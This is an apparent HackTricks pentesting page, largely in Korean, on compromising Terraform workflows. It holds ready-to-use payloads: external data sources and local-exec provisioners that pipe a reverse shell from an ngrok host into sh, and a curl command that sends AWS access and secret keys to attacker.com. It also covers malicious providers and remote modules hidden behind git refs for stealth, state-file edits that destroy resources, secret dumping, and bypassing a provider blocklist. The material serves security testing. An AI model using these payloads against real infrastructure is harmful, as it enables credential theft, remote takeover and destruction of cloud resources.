Terraform Security

Support HackTricks

Basic Information

From the docs:

HashiCorp Terraform은 코드로서의 인프라 도구로, 클라우드 및 온프레미스 리소스를 사람이 읽을 수 있는 구성 파일로 정의할 수 있게 해줍니다. 이 파일들은 버전 관리, 재사용 및 공유가 가능합니다. 그런 다음 일관된 워크플로를 사용하여 인프라의 전체 수명 주기 동안 모든 인프라를 프로비저닝하고 관리할 수 있습니다. Terraform은 컴퓨트, 스토리지 및 네트워킹 리소스와 같은 저수준 구성 요소뿐만 아니라 DNS 항목 및 SaaS 기능과 같은 고수준 구성 요소를 관리할 수 있습니다.

How does Terraform work?

Terraform은 클라우드 플랫폼 및 기타 서비스에서 애플리케이션 프로그래밍 인터페이스 (API)를 통해 리소스를 생성하고 관리합니다. 프로바이더는 Terraform이 접근 가능한 API가 있는 거의 모든 플랫폼이나 서비스와 작업할 수 있게 해줍니다.

HashiCorp와 Terraform 커뮤니티는 이미 1700개 이상의 프로바이더를 작성하여 수천 가지 유형의 리소스와 서비스를 관리하고 있으며, 이 숫자는 계속 증가하고 있습니다. 모든 공개 프로바이더는 Terraform Registry에서 찾을 수 있으며, 여기에는 Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 등이 포함됩니다.

핵심 Terraform 워크플로는 세 가지 단계로 구성됩니다:

  • Write: 여러 클라우드 프로바이더 및 서비스에 걸쳐 리소스를 정의합니다. 예를 들어, 보안 그룹과 로드 밸런서를 갖춘 가상 사설 클라우드 (VPC) 네트워크의 가상 머신에 애플리케이션을 배포하기 위한 구성을 만들 수 있습니다.

  • Plan: Terraform은 기존 인프라와 구성에 따라 생성, 업데이트 또는 삭제할 인프라를 설명하는 실행 계획을 생성합니다.

  • Apply: 승인이 이루어지면 Terraform은 리소스 종속성을 존중하며 제안된 작업을 올바른 순서로 수행합니다. 예를 들어, VPC의 속성을 업데이트하고 해당 VPC의 가상 머신 수를 변경하면 Terraform은 가상 머신을 확장하기 전에 VPC를 재생성합니다.

Terraform Lab

컴퓨터에 terraform을 설치하기만 하면 됩니다.

여기 가이드가 있으며, 여기에서 terraform을 다운로드하는 최고의 방법을 찾을 수 있습니다.

RCE in Terraform

Terraform은 웹 페이지나 네트워크 서비스를 노출하는 플랫폼이 없습니다. 따라서 terraform을 손상시키는 유일한 방법은 terraform 구성 파일을 추가/수정할 수 있는 능력입니다.

그러나 terraform은 매우 민감한 구성 요소로, 제대로 작동하기 위해 다양한 위치에 특권 액세스를 갖게 됩니다.

공격자가 terraform이 실행되는 시스템을 손상시킬 수 있는 주요 방법은 terraform 구성을 저장하는 리포지토리를 손상시키는 것입니다. 왜냐하면 어느 시점에서 이들은 해석될 것이기 때문입니다.

실제로, PR이 생성된 후 terraform plan/apply를 자동으로 실행하는 솔루션들이 존재하며, 그 중 하나가 Atlantis입니다:

Atlantis Security

terraform 파일을 손상시킬 수 있다면, 누군가 terraform plan 또는 terraform apply를 실행할 때 RCE를 수행할 수 있는 다양한 방법이 있습니다.

Terraform plan

Terraform plan은 terraform에서 가장 많이 사용되는 명령어이며, terraform을 사용하는 개발자/솔루션들이 항상 호출합니다. 따라서 RCE를 얻는 가장 쉬운 방법은 임의의 명령을 실행하는 terraform 구성 파일을 오염시키는 것입니다.

외부 프로바이더 사용하기

Terraform은 Terraform과 외부 프로그램 간의 인터페이스를 제공하는 external 프로바이더를 제공합니다. plan 중에 임의의 코드를 실행하기 위해 external 데이터 소스를 사용할 수 있습니다.

terraform 구성 파일에 다음과 같은 내용을 주입하면 terraform plan을 실행할 때 rev shell이 실행됩니다:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

사용자 정의 제공자 사용하기

공격자는 Terraform Registry사용자 정의 제공자를 전송한 다음 기능 브랜치의 Terraform 코드에 추가할 수 있습니다 (여기에서의 예):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

The provider is downloaded in the init and will run the malicious code when plan is executed

You can find an example in https://github.com/rung/terraform-provider-cmdexec

외부 참조 사용하기

두 가지 언급된 옵션은 유용하지만 그리 은밀하지는 않습니다 (두 번째는 더 은밀하지만 첫 번째보다 더 복잡합니다). 다음 제안을 따르면 이 공격을 더 은밀한 방법으로 수행할 수 있습니다:

  • terraform 파일에 rev shell을 직접 추가하는 대신, rev shell이 포함된 외부 리소스로드할 수 있습니다:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • 외부 리소스에서 ref 기능을 사용하여 리포지토리 내의 브랜치에 있는 terraform rev shell 코드를 숨길 수 있습니다. 예를 들어: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply는 모든 변경 사항을 적용하기 위해 실행됩니다. 또한 악성 Terraform 파일을 local-exec로 주입하여 RCE를 얻기 위해 악용할 수 있습니다. 다음과 같은 페이로드가 main.tf 파일에 포함되도록 해야 합니다:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

이전 기술의 제안을 따라 이 공격을 외부 참조를 사용하여 더 은밀하게 수행하십시오.

비밀 덤프

terraform apply를 실행하여 terraform에서 사용되는 비밀 값을 덤프할 수 있습니다. terraform 파일에 다음과 같은 내용을 추가하십시오:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Terraform 상태 파일 악용

terraform 상태 파일에 대한 쓰기 권한이 있지만 terraform 코드를 변경할 수 없는 경우, 이 연구는 파일을 활용할 수 있는 흥미로운 옵션을 제공합니다:

리소스 삭제

리소스를 파괴하는 방법은 2가지가 있습니다:

  1. 실제 삭제할 리소스를 가리키는 임의의 이름으로 리소스를 상태 파일에 삽입하기

terraform은 해당 리소스가 존재하지 않아야 한다고 판단하여, 이를 파괴할 것입니다(지정된 실제 리소스 ID를 따릅니다). 이전 페이지의 예:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. 업데이트할 수 없는 방식으로 삭제할 리소스를 수정합니다 (그래서 삭제되고 재생성됩니다)

EC2 인스턴스의 경우, 인스턴스 유형을 수정하는 것만으로 terraform이 삭제하고 재생성하도록 만들 수 있습니다.

RCE

사용자 정의 제공자를 생성하고 terraform 상태 파일에서 악성 제공자로 하나의 제공자를 교체하거나 악성 제공자로 빈 리소스를 추가하는 것도 가능합니다. 원래 연구의 예:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

블랙리스트에 있는 프로바이더 교체

hashicorp/external이 블랙리스트에 있는 상황에 직면한 경우, 다음과 같이 external 프로바이더를 재구현할 수 있습니다. 참고: 우리는 https://registry.terraform.io/providers/nazarewk/external/latest에서 게시된 external 프로바이더의 포크를 사용합니다. 당신도 자신의 포크나 재구현을 게시할 수 있습니다.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

그런 다음 일반적으로 external을 사용할 수 있습니다.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

감사 도구

  • tfsec: tfsec는 terraform 코드의 정적 분석을 사용하여 잠재적인 잘못된 구성 사항을 찾아냅니다.

  • terascan: Terrascan은 코드로서의 인프라에 대한 정적 코드 분석기입니다.

참고 문헌

HackTricks 지원하기

Last updated